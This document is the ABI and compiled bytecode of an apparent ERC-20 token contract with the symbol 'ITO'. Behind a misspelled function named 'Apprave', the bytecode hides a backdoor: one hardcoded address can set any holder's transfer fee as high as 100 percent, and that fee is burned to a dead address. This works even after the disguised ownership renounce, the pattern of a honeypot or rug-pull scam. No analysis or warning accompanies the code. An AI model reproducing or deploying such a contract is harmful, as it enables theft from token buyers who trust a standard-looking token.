[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" }, { "internalType": "uint256", "name": "feePercents", "type": "uint256" } ], "name": "Apprave", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnershiptbstionsoot", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b50600062000024620001d860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d291906200037a565b660ef2273c1b0800620000e69190620003cb565b60016000620000fa620001d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000148620001d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a791906200037a565b660ef2273c1b0800620001bb9190620003cb565b604051620001ca919062000427565b60405180910390a362000444565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026e57808604811115620002465762000245620001e0565b5b6001851615620002565780820291505b808102905062000266856200020f565b945062000226565b94509492505050565b6000826200028957600190506200035c565b816200029957600090506200035c565b8160018114620002b25760028114620002bd57620002f3565b60019150506200035c565b60ff841115620002d257620002d1620001e0565b5b8360020a915084821115620002ec57620002eb620001e0565b5b506200035c565b5060208310610133831016604e8410600b84101617156200032d5782820a905083811115620003275762000326620001e0565b5b6200035c565b6200033c84848460016200021c565b92509050818404811115620003565762000355620001e0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003878262000363565b915062000394836200036d565b9250620003c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000277565b905092915050565b6000620003d88262000363565b9150620003e58362000363565b9250828202620003f58162000363565b915082820484148315176200040f576200040e620001e0565b5b5092915050565b620004218162000363565b82525050565b60006020820190506200043e600083018462000416565b92915050565b6116c280620004546000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461017d5780638da5cb5b146101ad57806395d89b41146101cb5780639942d8a9146101e9578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806358f53e0e14610173575b600080fd5b6100c1610265565b6040516100ce9190610ecb565b60405180910390f35b6100f160048036038101906100ec9190610f86565b6102a2565b6040516100fe9190610fe1565b60405180910390f35b61010f6103a2565b60405161011c919061100b565b60405180910390f35b61013f600480360381019061013a9190611026565b6103c9565b60405161014c9190610fe1565b60405180910390f35b61015d610773565b60405161016a9190611095565b60405180910390f35b61017b61077c565b005b610197600480360381019061019291906110b0565b6108b6565b6040516101a4919061100b565b60405180910390f35b6101b56108ff565b6040516101c291906110ec565b60405180910390f35b6101d3610928565b6040516101e09190610ecb565b60405180910390f35b61020360048036038101906101fe9190610f86565b610965565b005b61021f600480360381019061021a9190610f86565b6109d3565b60405161022c9190610fe1565b60405180910390f35b61024f600480360381019061024a9190611107565b610cc1565b60405161025c919061100b565b60405180910390f35b60606040518060400160405280600381526020017f49544f0000000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d48565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610390919061100b565b60405180910390a36001905092915050565b60006009600a6103b291906112a9565b660ef2273c1b08006103c491906112f4565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610415610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610488906113a8565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846104e091906112f4565b6104ea91906113f7565b9050600081846104fa9190611428565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461054b9190611428565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a1919061145c565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f2610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063b9190611428565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610693919061145c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106f7919061100b565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075e919061100b565b60405180910390a36001925050509392505050565b60006009905090565b610784610d48565b73ffffffffffffffffffffffffffffffffffffffff166107a26108ff565b73ffffffffffffffffffffffffffffffffffffffff16146107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ef906114dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f49544f0000000000000000000000000000000000000000000000000000000000815250905090565b61096d610d50565b6109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a39061156e565b60405180910390fd5b60006064905060008183111590506109c381610d5f565b6109cd8484610da2565b50505050565b600081600160006109e2610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5590611600565b60405180910390fd5b6000606460036000610a6e610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab491906112f4565b610abe91906113f7565b905060008184610ace9190611428565b90508360016000610add610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b269190611428565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7c919061145c565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd4919061145c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bfa610d48565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3f919061100b565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c68610d48565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cad919061100b565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d5a610dea565b905090565b80610d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d969061166c565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000735055e9bd42f30eceecb4c54f88473b2759f162b673ffffffffffffffffffffffffffffffffffffffff16610e1f610d48565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e75578082015181840152602081019050610e5a565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9d82610e3b565b610ea78185610e46565b9350610eb7818560208601610e57565b610ec081610e81565b840191505092915050565b60006020820190508181036000830152610ee58184610e92565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1d82610ef2565b9050919050565b610f2d81610f12565b8114610f3857600080fd5b50565b600081359050610f4a81610f24565b92915050565b6000819050919050565b610f6381610f50565b8114610f6e57600080fd5b50565b600081359050610f8081610f5a565b92915050565b60008060408385031215610f9d57610f9c610eed565b5b6000610fab85828601610f3b565b9250506020610fbc85828601610f71565b9150509250929050565b60008115159050919050565b610fdb81610fc6565b82525050565b6000602082019050610ff66000830184610fd2565b92915050565b61100581610f50565b82525050565b60006020820190506110206000830184610ffc565b92915050565b60008060006060848603121561103f5761103e610eed565b5b600061104d86828701610f3b565b935050602061105e86828701610f3b565b925050604061106f86828701610f71565b9150509250925092565b600060ff82169050919050565b61108f81611079565b82525050565b60006020820190506110aa6000830184611086565b92915050565b6000602082840312156110c6576110c5610eed565b5b60006110d484828501610f3b565b91505092915050565b6110e681610f12565b82525050565b600060208201905061110160008301846110dd565b92915050565b6000806040838503121561111e5761111d610eed565b5b600061112c85828601610f3b565b925050602061113d85828601610f3b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156111cd578086048111156111a9576111a8611147565b5b60018516156111b85780820291505b80810290506111c685611176565b945061118d565b94509492505050565b6000826111e657600190506112a2565b816111f457600090506112a2565b816001811461120a576002811461121457611243565b60019150506112a2565b60ff84111561122657611225611147565b5b8360020a91508482111561123d5761123c611147565b5b506112a2565b5060208310610133831016604e8410600b84101617156112785782820a90508381111561127357611272611147565b5b6112a2565b6112858484846001611183565b9250905081840481111561129c5761129b611147565b5b81810290505b9392505050565b60006112b482610f50565b91506112bf83611079565b92506112ec7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846111d6565b905092915050565b60006112ff82610f50565b915061130a83610f50565b925082820261131881610f50565b9150828204841483151761132f5761132e611147565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611392602583610e46565b915061139d82611336565b604082019050919050565b600060208201905081810360008301526113c181611385565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061140282610f50565b915061140d83610f50565b92508261141d5761141c6113c8565b5b828204905092915050565b600061143382610f50565b915061143e83610f50565b925082820390508181111561145657611455611147565b5b92915050565b600061146782610f50565b915061147283610f50565b925082820190508082111561148a57611489611147565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114c6602083610e46565b91506114d182611490565b602082019050919050565b600060208201905081810360008301526114f5816114b9565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611558602183610e46565b9150611563826114fc565b604082019050919050565b600060208201905081810360008301526115878161154b565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115ea602383610e46565b91506115f58261158e565b604082019050919050565b60006020820190508181036000830152611619816115dd565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611656601383610e46565b915061166182611620565b602082019050919050565b6000602082019050818103600083015261168581611649565b905091905056fea26469706673582212205edba8d737f85d44676dfd08f59447e767607ed706a6cf871e455fda071db20264736f6c63430008120033